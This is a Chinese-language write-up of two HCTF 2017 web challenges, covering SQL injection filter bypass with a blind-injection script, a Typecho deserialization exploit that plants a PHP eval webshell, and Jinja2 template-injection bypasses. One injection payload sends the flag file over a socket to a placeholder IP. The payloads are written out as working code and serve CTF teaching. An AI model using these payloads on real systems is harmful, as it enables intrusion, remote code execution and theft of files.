HCTF 2017 两道Web题

SQL Silencer && Repeater


SQL Silencer

题目源码

源码地址

题解

有些假过滤,简化一下贴出注入部分最重要部分的代码

1
2
3
4
5
6
7
8
9
10
11
12
function sql_check($sql){
if($sql < 1 || $sql > 3){
die('We only have 3 users.');
}
$check = preg_match('/&|_|\+|or|,|and| |\|\||#|-|`|;|"|\'|\*|into|union([\s\S]+)select([\s\S]+)from/i',$sql);
if( $check ){
die("Nonono!");
} else {
return $sql;
}
}

这道题其实是可以显注的,各位有兴趣的可以先去试试
然而由于是黑名单不全的原因,几乎所有队伍都是用盲注做出来的
当前数据库有2个表,一个user,一个flag
user表里有3条数据,flag表里也有2条数据
所以有队伍在子查询中测试select(flag)from(flag)会返回there is nothing从而怀疑flag表不存在
因为数据库中会报错:ERROR 1242 (21000): Subquery returns more than 1 row

先说盲注吧,由于很多函数都没禁用,盲注的方法有很多,随便贴一个
由于3^1=2 -> Bob ,3^2=1 -> Alice, 3^0 -> Cc
看flag表中有多少行

1
id=3^(select(count(flag))from(flag))

返回Alice,确定flag表中只有2条数据
跑flag的poc:

1
id=3^(select(count(1))from(flag)where(binary(flag)<0x30))

写脚本直接跑就能跑出一个目录名,由于flag表里中第一条数据是没啥用的。给做题师傅们带来了些困扰,有些抱歉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author = 'c014'
import requests
s = requests.session()
flag = ""
for i in xrange(100):
for j in range(33,128):
url = "http://sqls.2017.hctf.io/index/index.php?id=3^(select(count(1))from(flag)where(binary(flag)<0x{}))".format((flag+chr(j)).encode('hex'))
r = s.get(url)
if 'Cc' not in r.text:
flag = flag + chr(j-1)
print '[+]flag:'+flag
break

跑出目录./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/后访问/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php发现搭的是typecho
可以拿前段时间的Typecho前台getshell漏洞直接打
有两种方法,一种是直接回显命令执行,另一种是上传shell
由于根目录一般不会有可写权限,所以我准备了一个uploads目录,并且存在.DS_Store泄露
直接打的poc为:

1
2
3
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Post: __typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=

根据需求修改base64内容即可
上传shell的poc为:

1
2
3
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCd1cGxvYWRzL2MwMTQucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtjXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php

即可在uploads目录下创建一个名为c014.php的webshell
之后会发现命令执行的函数好像都没有回显,因为我基本上都禁用掉了
这里用php自带的列目录

1
2
3
4
$c = new DirectoryIterator("glob:///*");
foreach($c as $cc) {
echo $cc,"</br>";
}

发现根目录下有个 /flag_is_here 的文件夹
然后读取这个文件夹下的内容,有一个flag文件

1
echo file_get_contents('/flag_is_here/flag');

get flag~

这题我一开始是想考显注绕过waf

1
/union([\s\S]+)select([\s\S]+)from/i

贴一下我预期的显注poc

1
id=1=2|@c:=(select(1))union(select@c)

读目录的exp为:

1
id=1=2|@c:=(select(flag)from(flag)where(flag<0x30))union(select@c)

Repeater

题目源码

源码地址

题解

题目是根据原文魔改的
打开题目F12发现server为

1
Server: Werkzeug/0.12.2 Python/2.7.12

然后发现输入x就返回x was not found.
差不多可以想到jinja模板注入问题
测试

1
secret={{2-1}}

返回1 was not found.即可验证
由于也是黑名单过滤,绕过方式看师傅们的姿势
request.args过滤了

1
空格(%20),回车(%0a),'__','[',']','os','"',"|[a-z]"

直接构造是可以bypass的
空格可以用tab(%09)绕过,|后不允许接a-z可以用%0c,tab等绕过,os可以通过python中exec绕过
但是这题过滤仅限于request.args但是不允许post
简单的办法是可以用request.cookies来绕过
只能读文件的方法要找flag首先需要先到/etc/passwd看到有hctf用户,然后读取/home/hctf/.bash_history,发现flag路径/h3h3_1s_your_flag/flag,再读取flag
随便列几种解题方法
1.不用blask_list里的符号

1
secret={%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&a=_&payload=import%0csocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx.xxx.xxx.xxx',2333));s.send(open('/h3h3_1s_your_flag/flag').read());

2.exec构造绕过’os’执行os系统命令

1
a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a)

3.通过request.cookies

1
2
Url: http://repeater.2017.hctf.io/?secret={{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}}
Cookie: file=/h3h3_1s_your_flag/flag;class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=read;

文章目录
  1. 1. SQL Silencer
    1. 1.1. 题目源码
    2. 1.2. 题解
  2. 2. Repeater
    1. 2.1. 题目源码
    2. 2.2. 题解